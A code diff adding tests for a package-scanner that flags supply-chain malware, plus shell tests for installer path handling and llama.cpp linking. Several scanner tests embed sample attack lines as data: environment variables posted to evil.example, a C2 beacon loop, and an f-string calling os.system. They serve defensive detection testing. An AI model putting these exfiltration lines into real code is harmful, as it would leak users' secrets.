+    new = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://evil.example/x')\n"
+    fo = [
+        f
+        for f in sp.check_py_file(old, "p/d.py", "p")
+        if f.check == "DNS exfiltration / tunneling patterns"
+    ]
+    fn = [
+        f
+        for f in sp.check_py_file(new, "p/d.py", "p")
+        if f.check == "DNS exfiltration / tunneling patterns"
+    ]
+    assert fo and fn
+    assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
+
+
+def test_large_js_bundle_finding_is_content_bound():
+    # A large benign JS bundle yields a HIGH carrying a content digest, not empty
+    # evidence: two different bundles in the same size bucket get different keys,
+    # so a malicious bundle cannot ride a baselined empty-evidence entry.
+    big_a = "var x = 1;\n" * 20000  # ~200 KB, benign
+    big_b = big_a + "var exfil = 2;\n"  # different content, same size bucket
+    ja = [f for f in sp.check_js_file(big_a, "pkg/bundle.js", "pkg") if "JS bundle" in f.check]
+    jb = [f for f in sp.check_js_file(big_b, "pkg/bundle.js", "pkg") if "JS bundle" in f.check]
+    assert ja and jb, "large JS bundle must produce a finding"
+    assert ja[0].evidence.startswith("sha256:")
+    assert sp._finding_key(ja[0]) != sp._finding_key(jb[0])
+
+
+def test_pth_large_blob_finding_is_content_bound():
+    # The .pth base64-blob evidence pins the full blob via a digest, so a payload
+    # that keeps the first 120 chars but changes the tail reopens the finding.
+    head = "A" * 120
+    a = [
+        f
+        for f in sp.check_pth_file("import os\n" + head + "B" * 200, "p/x.pth", "p")
+        if "base64-like blob" in f.check
+    ]
+    b = [
+        f
+        for f in sp.check_pth_file("import os\n" + head + "C" * 200, "p/x.pth", "p")
+        if "base64-like blob" in f.check
+    ]
+    assert a and b, "large .pth blob must produce a finding"
+    assert "sha256:" in a[0].evidence
+    assert sp._finding_key(a[0]) != sp._finding_key(b[0])
+
+
+def test_pth_import_lines_record_all_not_first_five():
+    # All executable import lines are recorded, so swapping the sixth import for a
+    # malicious one (first five unchanged) still reopens the catch-all finding.
+    base = "".join(f"import mod{i}\n" for i in range(6))
+    swapped = "".join(f"import mod{i}\n" for i in range(5)) + "import evil\n"
+    fb = [f for f in sp.check_pth_file(base, "p/x.pth", "p") if "executable import line" in f.check]
+    fs = [
+        f for f in sp.check_pth_file(swapped, "p/x.pth", "p") if "executable import line" in f.check
+    ]
+    assert fb and fs
+    assert sp._finding_key(fb[0]) != sp._finding_key(fs[0])
+
+
+def test_load_baseline_warns_on_missing_evidence_hash(tmp_path, capsys):
+    # A legacy baseline predating evidence_hash still loads (hash recomputed) but
+    # must WARN so the maintainer regenerates rather than degrade silently.
+    import json
+
+    bl = tmp_path / "legacy.json"
+    bl.write_text(
+        json.dumps(
+            {
+                "version": 1,
+                "entries": [
+                    {
+                        "package": "p",
+                        "file": "p/x.py",
+                        "check": "c",
+                        "severity": sp.CRITICAL,
+                        "evidence": "L5: while True:",
+                    }
+                ],
+            }
+        )
+    )
+    keys = sp._load_baseline(str(bl))
+    assert keys  # still loaded
+    assert "lack evidence_hash" in capsys.readouterr().err
+
+
 def test_fstring_statement_is_not_blanked():
     # A bare f-string evaluates at import, so it must stay scannable.
     src = "f\"{__import__('os').system('id')}\"\n"
@@ -417,11 +1178,17 @@ def test_comment_only_network_exec_not_flagged():
 
 def test_baseline_suppresses_listed_but_not_new_check(tmp_path):
     bl = tmp_path / "bl.json"
-    listed = _mk(sp.CRITICAL, "fastapi", "fastapi/routing.py", "C2 polling/beaconing loop detected")
+    listed = _mk(
+        sp.CRITICAL,
+        "fastapi",
+        "fastapi/routing.py",
+        "C2 polling/beaconing loop detected",
+        "L579: while True:",
+    )
     sp._write_baseline(str(bl), [listed])
     baseline = sp._load_baseline(str(bl))
 
-    # Same (package, basename, check) -> suppressed.
+    # Same (package, path, check, matched code) -> suppressed.
     active, suppressed = sp._partition_baseline([listed], baseline)
     assert suppressed == [listed] and active == []
 
@@ -432,6 +1199,29 @@ def test_baseline_suppresses_listed_but_not_new_check(tmp_path):
     active2, suppressed2 = sp._partition_baseline([new_kind], baseline)
     assert active2 == [new_kind] and suppressed2 == []
 
+    # Same file + same check but CHANGED flagged code -> still active. A future
+    # malicious payload cannot ride a previously reviewed entry's suppression.
+    changed_code = _mk(
+        sp.CRITICAL,
+        "fastapi",
+        "fastapi/routing.py",
+        "C2 polling/beaconing loop detected",
+        "L579: while True: requests.get('http://c2.example/beacon')",
+    )
+    active3, suppressed3 = sp._partition_baseline([changed_code], baseline)
+    assert active3 == [changed_code] and suppressed3 == []
+
+    # A benign line shift of the SAME code stays suppressed (no version churn).
+    shifted = _mk(
+        sp.CRITICAL,
+        "fastapi",
+        "fastapi/routing.py",
+        "C2 polling/beaconing loop detected",
+        "L640: while True:",
+    )
+    active4, suppressed4 = sp._partition_baseline([shifted], baseline)
+    assert suppressed4 == [shifted] and active4 == []
+
 
 def test_write_baseline_roundtrip_only_crit_high(tmp_path):
     bl = tmp_path / "bl.json"
@@ -451,6 +1241,72 @@ def test_load_baseline_missing_file_is_empty():
     assert sp._load_baseline("/nonexistent/path/bl.json") == set()
 
 
+def test_load_baseline_rejects_non_list_entries(tmp_path, capsys):
+    # A malformed baseline whose "entries" is not a list must warn and fail
+    # closed (empty), not raise TypeError when iterated.
+    import json
+
+    bl = tmp_path / "bad_entries.json"
+    bl.write_text(json.dumps({"version": 1, "entries": None}), encoding = "utf-8")
+    assert sp._load_baseline(str(bl)) == set()
+    assert "entries is not a list" in capsys.readouterr().err
+
+
+def test_committed_baseline_suppresses_known_but_not_a_new_payload():
+    """End-to-end against the shipped allowlist: a reviewed benign finding stays
+    suppressed, but a NEW malicious payload in the same baselined file/check is
+    not (closes the supply-chain bypass where a future botocore/utils.py payload
+    rode the existing CRITICAL entry)."""
+    import json
+
+    baseline_path = REPO_ROOT / "scripts" / "scan_packages_baseline.json"
+    entries = json.loads(baseline_path.read_text())["entries"]
+    target = next(
+        e
+        for e in entries
+        if e["package"] == "botocore"
+        and e["file"] == "botocore/utils.py"
+        and e["check"] == "Harvests environment variables/secrets AND makes network calls"
+    )
+    baseline = sp._load_baseline(str(baseline_path))
+
+    # The exact reviewed finding is suppressed.
+    benign = _mk(
+        target["severity"], target["package"], target["file"], target["check"], target["evidence"]
+    )
+    active, suppressed = sp._partition_baseline([benign], baseline)
+    assert suppressed == [benign] and active == []
+
+    # A future malicious version: same file, same check, new exfil code. Must
+    # remain ACTIVE so the enforcing gate (exit 1) still trips.
+    malicious = _mk(
+        target["severity"],
+        target["package"],
+        target["file"],
+        target["check"],
+        "Env: L417: env = os.environ.copy()\nNetwork: requests.post('https://evil.example/exfil', data=env)",
+    )
+    active2, suppressed2 = sp._partition_baseline([malicious], baseline)
+    assert active2 == [malicious] and suppressed2 == []
+
+
+def test_committed_baseline_entries_all_carry_evidence_hash():
+    """Every shipped entry must pin an evidence_hash; an entry without one would
+    silently fall back to the coarse legacy match for that file/check."""
+    import json
+
+    baseline_path = REPO_ROOT / "scripts" / "scan_packages_baseline.json"
+    entries = json.loads(baseline_path.read_text())["entries"]
+    assert entries, "committed baseline should not be empty"
+    missing = [
+        f"{e['package']}:{e['file']}:{e['check']}" for e in entries if not e.get("evidence_hash")
+    ]
+    assert not missing, f"entries missing evidence_hash: {missing[:5]}"
+    # And each pinned hash matches a recompute from the stored evidence.
+    for e in entries:
+        assert e["evidence_hash"] == sp._evidence_hash(e["evidence"]), e["file"]
+
+
 # sdist fallback: cover sdist-only packages without building. All offline
 # -- PyPI JSON / download are mocked.
 
diff --git a/tests/sh/test_install_uv_override_space.sh b/tests/sh/test_install_uv_override_space.sh
new file mode 100755
index 0000000000..07ef36295a
--- /dev/null
+++ b/tests/sh/test_install_uv_override_space.sh
@@ -0,0 +1,112 @@
+#!/bin/bash
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+# uv splits UV_OVERRIDE on whitespace, so a repo cloned under a path with a space
+# truncates it and aborts every later uv call (issue #6503). install.sh must hand
+# uv a space-free copy. Exercises the real install.sh hardening block.
+set -e
+
+SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
+INSTALL_SH="$SCRIPT_DIR/../../install.sh"
+PASS=0
+FAIL=0
+
+ok()  { echo "  PASS: $1"; PASS=$((PASS + 1)); }
+bad() { echo "  FAIL: $1"; FAIL=$((FAIL + 1)); }
+
+# Extract the UV_OVERRIDE hardening block (outer case ... esac plus the export)
+# and run it directly, so the test tracks install.sh rather than a copy of it.
+BLOCK=$(awk '
+    /case "[$]_OVERRIDES_FILE" in/ { grab = 1 }
+    grab { print }
+    grab && /export UV_OVERRIDE="[$]_OVERRIDES_FILE"/ { exit }
+' "$INSTALL_SH")
+if ! printf '%s' "$BLOCK" | grep -q 'export UV_OVERRIDE'; then
+    echo "  FAIL: could not extract UV_OVERRIDE block from install.sh"
+    exit 1
+fi
+
+run_block() {
+    _OVERRIDES_FILE="$1"
+    _UV_OVERRIDE_TMPDIR=""
+    unset UV_OVERRIDE
+    eval "$BLOCK"
+}
+
+echo "=== test_install_uv_override_space ==="
+
+# 1. Spaced path -> space-free copy with identical contents, temp dir tracked.
+WORK=$(mktemp -d)
+mkdir -p "$WORK/Open Source"
+SRC="$WORK/Open Source/overrides-darwin-arm64.txt"
+printf 'transformers>=4.57.6\n' > "$SRC"
+run_block "$SRC"
+case "$UV_OVERRIDE" in
+    *[[:space:]]*) bad "spaced path: UV_OVERRIDE still contains whitespace ($UV_OVERRIDE)" ;;
+    *)             ok  "spaced path: UV_OVERRIDE is whitespace-free" ;;
+esac
+[ "$UV_OVERRIDE" != "$SRC" ] && ok "spaced path: points at a copy" || bad "spaced path: not copied"
+[ "$(cat "$UV_OVERRIDE" 2>/dev/null)" = "transformers>=4.57.6" ] \
+    && ok "spaced path: copy contents identical" || bad "spaced path: contents differ"
+{ [ -n "$_UV_OVERRIDE_TMPDIR" ] && [ -d "$_UV_OVERRIDE_TMPDIR" ]; } \
+    && ok "spaced path: temp dir tracked for cleanup" || bad "spaced path: temp dir not tracked"
+# The exit-trap cleanup (_on_install_exit) must then remove it.
+[ -n "$_UV_OVERRIDE_TMPDIR" ] && rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true
+[ ! -d "$_UV_OVERRIDE_TMPDIR" ] && ok "spaced path: temp dir removable" || bad "spaced path: temp dir lingers"
+rm -rf "$WORK"
+
+# 2. No-space path -> passthrough, no temp dir.
+PLAIN=$(mktemp -d)
+PSRC="$PLAIN/overrides-darwin-arm64.txt"
+printf 'transformers>=4.57.6\n' > "$PSRC"
+run_block "$PSRC"
+[ "$UV_OVERRIDE" = "$PSRC" ] && ok "no-space path: UV_OVERRIDE unchanged" || bad "no-space path: changed ($UV_OVERRIDE)"
+[ -z "$_UV_OVERRIDE_TMPDIR" ] && ok "no-space path: no temp dir created" || bad "no-space path: temp dir created"
+rm -rf "$PLAIN"
+
+# 3. TMPDIR itself contains a space -> fall back to the original path, no leak.
+WORK2=$(mktemp -d)
+mkdir -p "$WORK2/Open Source" "$WORK2/tmp dir"
+SRC2="$WORK2/Open Source/overrides-darwin-arm64.txt"
+printf 'transformers>=4.57.6\n' > "$SRC2"
+RES=$( TMPDIR="$WORK2/tmp dir"; export TMPDIR; run_block "$SRC2"
+       printf 'UV_OVERRIDE=%s\nTMPDIR_VAR=%s\n' "$UV_OVERRIDE" "$_UV_OVERRIDE_TMPDIR" )
+echo "$RES" | grep -qx "UV_OVERRIDE=$SRC2" \
+    && ok "spaced TMPDIR: falls back to original path" || bad "spaced TMPDIR: did not fall back ($RES)"
+echo "$RES" | grep -qx "TMPDIR_VAR=" \
+    && ok "spaced TMPDIR: no temp dir tracked" || bad "spaced TMPDIR: temp dir tracked"
+# mktemp may have created a dir under the spaced TMPDIR; it must not be leaked.
+_leftover=$(find "$WORK2/tmp dir" -mindepth 1 -maxdepth 1 -type d 2>/dev/null | head -n1)
+[ -z "$_leftover" ] && ok "spaced TMPDIR: no leaked temp dir" || bad "spaced TMPDIR: leaked $_leftover"
+rm -rf "$WORK2"
+
+# 4. A tab in the path is whitespace uv also splits on -> copied like a space.
+WORK3=$(mktemp -d)
+TABDIR=$(printf 'Open\tSource')
+mkdir -p "$WORK3/$TABDIR"
+SRC3="$WORK3/$TABDIR/overrides-darwin-arm64.txt"
+printf 'transformers>=4.57.6\n' > "$SRC3"
+run_block "$SRC3"
+case "$UV_OVERRIDE" in
+    *[[:space:]]*) bad "tab path: UV_OVERRIDE still contains whitespace" ;;
+    *)             ok  "tab path: UV_OVERRIDE is whitespace-free" ;;
+esac
+[ -n "$_UV_OVERRIDE_TMPDIR" ] && rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true
+rm -rf "$WORK3"
+
+# 5. install.sh must clear _UV_OVERRIDE_TMPDIR before registering the exit trap,
+# so an inherited value can never reach the trap's rm -rf.
+_init_line=$(grep -n '^_UV_OVERRIDE_TMPDIR=""' "$INSTALL_SH" | head -n1 | cut -d: -f1)
+_trap_line=$(grep -n '^trap _on_install_exit EXIT' "$INSTALL_SH" | head -n1 | cut -d: -f1)
+{ [ -n "$_init_line" ] && [ -n "$_trap_line" ] && [ "$_init_line" -lt "$_trap_line" ]; } \
+    && ok "init: _UV_OVERRIDE_TMPDIR cleared before exit trap" \
+    || bad "init: _UV_OVERRIDE_TMPDIR not cleared before exit trap (init=$_init_line trap=$_trap_line)"
+
+echo ""
+echo "  PASS: $PASS"
+echo "  FAIL: $FAIL"
+if [ "$FAIL" -gt 0 ]; then
+    echo "FAILED"
+    exit 1
+fi
+echo "ALL PASSED"
diff --git a/tests/sh/test_resolve_cuda_archs.sh b/tests/sh/test_resolve_cuda_archs.sh
new file mode 100755
index 0000000000..be32bee6ad
--- /dev/null
+++ b/tests/sh/test_resolve_cuda_archs.sh
@@ -0,0 +1,68 @@
+#!/bin/bash
+# Unit tests for _resolve_cuda_archs() from studio/setup.sh (#5854).
+# Turns nvidia-smi compute_cap text into a deduped ';'-separated arch list;
+# empty result signals a CPU build, and an explicit override wins.
+set -e
+
+SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
+SETUP_SH="$SCRIPT_DIR/../../studio/setup.sh"
+PASS=0
+FAIL=0
+
+# Extract just the helper function (same sed range as the other function tests).
+_FUNC_FILE=$(mktemp)
+sed -n '/^_resolve_cuda_archs()/,/^}/p' "$SETUP_SH" > "$_FUNC_FILE"
+
+assert_eq() {
+    _label="$1"; _expected="$2"; _actual="$3"
+    if [ "$_actual" = "$_expected" ]; then
+        echo "  PASS: $_label"
+        PASS=$((PASS + 1))
+    else
+        echo "  FAIL: $_label (expected '$_expected', got '$_actual')"
+        FAIL=$((FAIL + 1))
+    fi
+}
+
+# $1 = raw compute_cap text, $2 = override
+run_resolve() {
+    bash -c ". '$_FUNC_FILE'; _resolve_cuda_archs \"\$1\" \"\$2\"" _ "$1" "$2"
+}
+
+echo "=== test_resolve_cuda_archs ==="
+
+# 1) Single GPU -> single arch.
+assert_eq "single 8.6" "86" "$(run_resolve "8.6" "")"
+
+# 2) Two distinct GPUs -> both archs, order preserved.
+assert_eq "distinct 8.6 + 9.0" "86;90" "$(run_resolve "$(printf '8.6\n9.0\n')" "")"
+
+# 3) Duplicate caps (multi-GPU same model) -> deduped.
+assert_eq "dedup 12.0 x2" "120" "$(run_resolve "$(printf '12.0\n12.0\n')" "")"
+
+# 4) Empty input -> empty (the CPU-fallback signal; #5854).
+assert_eq "empty input" "" "$(run_resolve "" "")"
+
+# 5) Garbage / N/A lines are ignored -> empty.
+assert_eq "garbage N/A" "" "$(run_resolve "$(printf 'N/A\n[Not Supported]\n')" "")"
+
+# 6) Mixed valid + junk -> only the valid caps survive.
+assert_eq "mixed valid+junk" "86;90" "$(run_resolve "$(printf '8.6\nfoo\n9.0\n')" "")"
+
+# 7) Whitespace / CR around a cap is stripped.
+assert_eq "whitespace stripped" "86" "$(run_resolve "$(printf '  8.6 \r\n')" "")"
+
+# 8) Override wins verbatim, ignoring detection.
+assert_eq "override wins" "120" "$(run_resolve "8.6" "120")"
+
+# 9) Override works even with no detected caps.
+assert_eq "override no detection" "86;90" "$(run_resolve "" "86;90")"
+
+# 10) Future arch (compute 10.0 -> 100) parses.
+assert_eq "future 10.0" "100" "$(run_resolve "10.0" "")"
+
+rm -f "$_FUNC_FILE"
+
+echo ""
+echo "Results: $PASS passed, $FAIL failed"
+[ "$FAIL" -eq 0 ] || exit 1
diff --git a/tests/sh/test_with_llama_cpp_dir_flag.sh b/tests/sh/test_with_llama_cpp_dir_flag.sh
new file mode 100644
index 0000000000..cee158bf40
--- /dev/null
+++ b/tests/sh/test_with_llama_cpp_dir_flag.sh
@@ -0,0 +1,172 @@
+#!/bin/bash
+# Static analysis: the --with-llama-cpp-dir flag must be wired consistently
+# across both installers (install.sh / install.ps1) and both setup scripts
+# (studio/setup.sh / studio/setup.ps1).
+#
+# The flag lets a user point the installer at a local llama.cpp directory so it
+# skips BOTH the prebuilt download (Phase 3) and the source build (Phase 4),
+# linking the local dir into the canonical install location instead. The path
+# crosses the installer->setup boundary via the UNSLOTH_LOCAL_LLAMA_CPP_DIR env
+# var. These checks pin that contract so a future refactor of either side can't
+# silently break it (e.g. installer parses the flag but setup never reads the
+# env var, or setup links the dir but still runs the build).
+#
+# This is a shape/wiring test, not a behavioral one: it greps the committed
+# scripts. It needs no Python, no GPU, no network.
+set -e
+
+SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
+INSTALL_SH="$SCRIPT_DIR/../../install.sh"
+INSTALL_PS1="$SCRIPT_DIR/../../install.ps1"
+SETUP_SH="$SCRIPT_DIR/../../studio/setup.sh"
+SETUP_PS1="$SCRIPT_DIR/../../studio/setup.ps1"
+ENV_VAR="UNSLOTH_LOCAL_LLAMA_CPP_DIR"
+PASS=0
+FAIL=0
+
+assert_contains() {
+    _label="$1"; _file="$2"; _needle="$3"
+    if grep -qF -- "$_needle" "$_file"; then
+        echo "  PASS: $_label"
+        PASS=$((PASS + 1))
+    else
+        echo "  FAIL: $_label (expected to find '$_needle' in $(basename "$_file"))"
+        FAIL=$((FAIL + 1))
+    fi
+}
+
+# Count of distinct lines matching a regex, used to assert a guard appears
+# in more than one place (e.g. env var forwarded on both setup invocations).
+assert_min_count() {
+    _label="$1"; _file="$2"; _pattern="$3"; _min="$4"
+    _n=$(grep -cE -- "$_pattern" "$_file" || true)
+    if [ "$_n" -ge "$_min" ]; then
+        echo "  PASS: $_label (found $_n, need >= $_min)"
+        PASS=$((PASS + 1))
+    else
+        echo "  FAIL: $_label (found $_n in $(basename "$_file"), need >= $_min)"
+        FAIL=$((FAIL + 1))
+    fi
+}
+
+echo ""
+echo "=== install.sh: parses --with-llama-cpp-dir and forwards the env var ==="
+
+assert_contains \
+    "install.sh: accepts --with-llama-cpp-dir flag" \
+    "$INSTALL_SH" "--with-llama-cpp-dir"
+assert_contains \
+    "install.sh: validates the path exists before forwarding" \
+    "$INSTALL_SH" 'if [ ! -d "$_WITH_LLAMA_CPP_DIR" ]; then'
+# The path must be forwarded to setup.sh on BOTH the local and the
+# non-local setup invocations, else --local users (the documented path)
+# would silently lose the flag.
+assert_min_count \
+    "install.sh: forwards $ENV_VAR on both setup invocations" \
+    "$INSTALL_SH" "$ENV_VAR=\"\\\$_WITH_LLAMA_CPP_DIR\"" 2
+
+echo ""
+echo "=== install.ps1: parses --with-llama-cpp-dir and forwards the env var ==="
+
+assert_contains \
+    "install.ps1: accepts --with-llama-cpp-dir flag" \
+    "$INSTALL_PS1" '"--with-llama-cpp-dir"'
+assert_contains \
+    "install.ps1: errors when flag is given with no path argument" \
+    "$INSTALL_PS1" "--with-llama-cpp-dir requires a path argument"
+assert_contains \
+    "install.ps1: validates the path exists before forwarding" \
+    "$INSTALL_PS1" "--with-llama-cpp-dir path does not exist"
+assert_contains \
+    "install.ps1: exports $ENV_VAR for setup.ps1" \
+    "$INSTALL_PS1" "\$env:$ENV_VAR ="
+# The exported env var must be cleaned up so a later setup invocation in the
+# same shell session doesn't inherit a stale local-dir link.
+assert_contains \
+    "install.ps1: clears $ENV_VAR after the setup run" \
+    "$INSTALL_PS1" "Remove-Item Env:$ENV_VAR"
+
+echo ""
+echo "=== studio/setup.sh: reads the env var, links, and skips download+build ==="
+
+assert_contains \
+    "setup.sh: reads $ENV_VAR" \
+    "$SETUP_SH" "$ENV_VAR"
+assert_contains \
+    "setup.sh: symlinks the local dir into the canonical install location" \
+    "$SETUP_SH" 'ln -sfn "$_RESOLVED_LOCAL" "$LLAMA_CPP_DIR"'
+assert_contains \
+    "setup.sh: disables the source build when the local dir is linked" \
+    "$SETUP_SH" "_NEED_LLAMA_SOURCE_BUILD=false"
+assert_contains \
+    "setup.sh: skips the prebuilt download when the local dir is linked" \
+    "$SETUP_SH" "_SKIP_PREBUILT_INSTALL=true"
+# The link branch must short-circuit the FORCE_COMPILE / prebuilt chain rather
+# than fall through into it.
+assert_contains \
+    "setup.sh: link branch gates the prebuilt/compile chain" \
+    "$SETUP_SH" 'if [ "$_LOCAL_LLAMA_CPP_LINKED" = true ]; then'
+
+echo ""
+echo "=== studio/setup.ps1: reads the env var, junctions, and skips download+build ==="
+
+assert_contains \
+    "setup.ps1: reads $ENV_VAR" \
+    "$SETUP_PS1" "\$env:$ENV_VAR"
+assert_contains \
+    "setup.ps1: creates a directory junction into the canonical location" \
+    "$SETUP_PS1" "mklink /J"
+assert_contains \
+    "setup.ps1: falls back to a copy when the junction can't be created" \
+    "$SETUP_PS1" "Copy-Item -Recurse -LiteralPath \$ResolvedLocal -Destination \$LlamaCppDir"
+assert_contains \
+    "setup.ps1: disables the source build when the local dir is linked" \
+    "$SETUP_PS1" '$NeedLlamaSourceBuild = $false'
+# The link branch must gate the prebuilt-install chain (the elseif on
+# FORCE_COMPILE), and the linked-dir case must short-circuit the build chain
+# so neither a prebuilt download nor a source build runs against it.
+assert_contains \
+    "setup.ps1: link branch gates the prebuilt/compile chain" \
+    "$SETUP_PS1" 'if ($LocalLlamaCppLinked) {'
+assert_contains \
+    "setup.ps1: linked-dir case short-circuits the build chain" \
+    "$SETUP_PS1" 'step "llama.cpp" "linked (skipping build)"'
+
+echo ""
+echo "=== both setup scripts: validate against every layout the backend resolves ==="
+
+# The linked tree is accepted only if it already holds a runnable llama-server,
+# but the check must match LlamaCppBackend._layout_candidates() (root-level
+# first, then build/bin, then build/bin/Release on Windows). A narrower check
+# would reject a make/flat-release tree the backend could run.
+assert_contains \
+    "setup.sh: accepts root-level or build/bin llama-server layouts" \
+    "$SETUP_SH" '[ -x "$1/llama-server" ] || [ -x "$1/build/bin/llama-server" ]'
+assert_contains \
+    "setup.ps1: accepts the build\\bin (non-Release) llama-server.exe layout" \
+    "$SETUP_PS1" 'Join-Path $ResolvedLocal "build\bin\llama-server.exe"'
+assert_contains \
+    "setup.ps1: accepts the root-level llama-server.exe layout" \
+    "$SETUP_PS1" 'Join-Path $ResolvedLocal "llama-server.exe"'
+
+echo ""
+echo "=== both setup scripts: a local dir pointing at the canonical path is a no-op ==="
+
+# Guard against the self-link footgun: if the user passes the canonical install
+# dir itself, neither script should delete-then-link it onto itself.
+assert_contains \
+    "setup.sh: ignores a local dir equal to the canonical install location" \
+    "$SETUP_SH" 'if [ "$_RESOLVED_LOCAL" = "$_CANON_LLAMA_CPP_DIR" ]; then'
+assert_contains \
+    "setup.ps1: ignores a local dir equal to the canonical install location" \
+    "$SETUP_PS1" 'if ($ResolvedLocal -eq $LlamaCppDir) {'
+
+echo ""
+echo "=== Results ==="
+echo "  PASS: $PASS"
+echo "  FAIL: $FAIL"
+if [ "$FAIL" -gt 0 ]; then
+    echo "FAILED"
+    exit 1
+fi
+echo "ALL PASSED"
diff --git a/tests/sh/test_with_llama_cpp_dir_link_behavior.sh b/tests/sh/test_with_llama_cpp_dir_link_behavior.sh
new file mode 100644
index 0000000000..fb09e56c51
--- /dev/null
+++ b/tests/sh/test_with_llama_cpp_dir_link_behavior.sh
@@ -0,0 +1,132 @@
+#!/usr/bin/env bash
+# Behavioral test for the --with-llama-cpp-dir linking block in studio/setup.sh.
+# The companion test_with_llama_cpp_dir_flag.sh is a static wiring check; this one
+# actually RUNS the real link logic (extracted from setup.sh by content anchors,
+# not line numbers) against hermetic fake dirs and asserts the outcomes Lee asked
+# for: an external built dir gets linked, neither the prebuilt download nor the
+# source build is armed, an unbuilt dir is rejected, a relink doesn't destroy the
+# target, and pointing at the canonical path is a no-op. POSIX symlinks here;
+# the Windows junction path is covered by the backend test suite.
+set -u
+HERE="$(CDPATH= cd -P -- "$(dirname "$0")" && pwd -P)"
+SETUP="$HERE/../../studio/setup.sh"
+fails=0
+check() { # name expected actual
+    if [ "$2" = "$3" ]; then printf '  PASS  %s\n' "$1"
+    else printf '  FAIL  %s : expected [%s] got [%s]\n' "$1" "$2" "$3"; fails=$((fails+1)); fi
+}
+
+# Extract the two helpers + the whole `UNSLOTH_LOCAL_LLAMA_CPP_DIR` if-block.
+# Starts at the quantize-shim helper, ends at the first column-0 `fi` after the
+# `if [ -n "${UNSLOTH_LOCAL_LLAMA_CPP_DIR..` guard (inner ifs are indented).
+block="$(awk '
+    /^_link_local_llama_quantize_shim\(\) \{/ {grab=1}
+    grab {print}
+    /^if \[ -n "\$\{UNSLOTH_LOCAL_LLAMA_CPP_DIR/ {inif=1}
+    inif && /^fi$/ {exit}
+' "$SETUP")"
+
+# Self-validate the extraction so a future setup.sh refactor fails loudly here.
+case "$block" in *'ln -sfn "$_RESOLVED_LOCAL" "$LLAMA_CPP_DIR"'*) : ;;
+    *) echo "FAIL: link block extraction broke (no ln -sfn)"; exit 1 ;; esac
+case "$block" in *'_has_local_llama_server'*) : ;;
+    *) echo "FAIL: link block extraction broke (no _has_local_llama_server)"; exit 1 ;; esac
+
+# Stub setup.sh's logging + ownership helpers, seed the vars the block reads,
+# then run the extracted block and print the resulting state.
+PREAMBLE='
+set -u
+step() { :; }; substep() { :; }; verbose_substep() { :; }
+_assert_studio_owned_or_absent() { :; }
+C_ERR=""
+_STUDIO_HOME_IS_CUSTOM=false
+_NEED_LLAMA_SOURCE_BUILD=UNSET
+_SKIP_PREBUILT_INSTALL=UNSET
+'
+EPILOGUE='
+echo "LINKED=$_LOCAL_LLAMA_CPP_LINKED"
+echo "NEED_BUILD=$_NEED_LLAMA_SOURCE_BUILD"
+echo "SKIP_PREBUILT=$_SKIP_PREBUILT_INSTALL"
+if [ -L "$LLAMA_CPP_DIR" ]; then echo "ISLINK=1"; echo "TARGET=$(readlink "$LLAMA_CPP_DIR")"; else echo "ISLINK=0"; fi
+'
+SNIP="$PREAMBLE"$'\n'"$block"$'\n'"$EPILOGUE"
+
+# run_link <local_dir> <canonical_llama_cpp_dir> -> prints state lines; RC in $RC
+run_link() {
+    OUT="$(env -i PATH="$PATH" HOME="$T" \
+        UNSLOTH_LOCAL_LLAMA_CPP_DIR="$1" LLAMA_CPP_DIR="$2" \
+        bash -c "$SNIP" 2>/dev/null)"
+    RC=$?
+}
+val() { printf '%s\n' "$OUT" | grep "^$1=" | head -1 | cut -d= -f2-; }
+
+T="$(mktemp -d)"
+trap 'rm -rf "$T"' EXIT
+
+# Some environments (Windows git-bash without native symlinks) make `ln -s` copy
+# instead of link. The symlink-identity assertions (ISLINK / readlink target)
+# only run where real symlinks exist; the link/skip/no-data-loss assertions run
+# everywhere, including CI (Linux), where the link path is the real one.
+ln -s "$T" "$T/.symprobe" 2>/dev/null
+if [ -L "$T/.symprobe" ]; then SYMLINKS=1; else SYMLINKS=0; fi
+rm -rf "$T/.symprobe"
+
+# A built external tree (CMake layout) + a flat/`make` tree (root-level binary).
+# The fake binary is a shebang script so the `-x` test in _has_local_llama_server
+# holds on both Linux (chmod +x) and Windows git-bash (MSYS treats #!-files as
+# executable), without needing a real platform binary.
+mk_exe()    { printf '#!/bin/sh\necho fake\n' > "$1"; chmod +x "$1"; }
+mk_built()  { mkdir -p "$1/build/bin"; mk_exe "$1/build/bin/llama-server"; }
+mk_flat()   { mkdir -p "$1"; mk_exe "$1/llama-server"; }
+
+# 1. External CMake build -> linked, and BOTH install paths disarmed.
+EXT1="$T/ext_cmake"; mk_built "$EXT1"; : > "$EXT1/keep.txt"
+CANON1="$T/home1/llama.cpp"; mkdir -p "$(dirname "$CANON1")"
+run_link "$EXT1" "$CANON1"
+check "cmake build: linked"            "true"  "$(val LINKED)"
+check "cmake build: source build off"  "false" "$(val NEED_BUILD)"
+check "cmake build: prebuilt skipped"  "true"  "$(val SKIP_PREBUILT)"
+if [ "$SYMLINKS" = 1 ]; then
+    check "cmake build: canonical is a symlink" "1" "$(val ISLINK)"
+    check "cmake build: link points at external" "$(CDPATH= cd -P -- "$EXT1" && pwd -P)" "$(val TARGET)"
+else
+    printf '  SKIP  cmake build: symlink-identity (no real symlinks here)\n'
+fi
+
+# 2. Flat / make tree (root-level llama-server, no build/bin) -> still linked
+#    (the new layout-candidate acceptance; the old check rejected this).
+EXT2="$T/ext_flat"; mk_flat "$EXT2"
+CANON2="$T/home2/llama.cpp"; mkdir -p "$(dirname "$CANON2")"
+run_link "$EXT2" "$CANON2"
+check "flat build: linked (root-level llama-server accepted)" "true" "$(val LINKED)"
+
+# 3. Unbuilt tree -> rejected (non-zero exit, no link created).
+EXT3="$T/ext_empty"; mkdir -p "$EXT3"
+CANON3="$T/home3/llama.cpp"; mkdir -p "$(dirname "$CANON3")"
+run_link "$EXT3" "$CANON3"
+check "unbuilt tree: rejected (exit != 0)" "yes" "$([ "$RC" -ne 0 ] && echo yes || echo no)"
+check "unbuilt tree: no link left behind"  "no"  "$([ -L "$CANON3" ] && echo yes || echo no)"
+
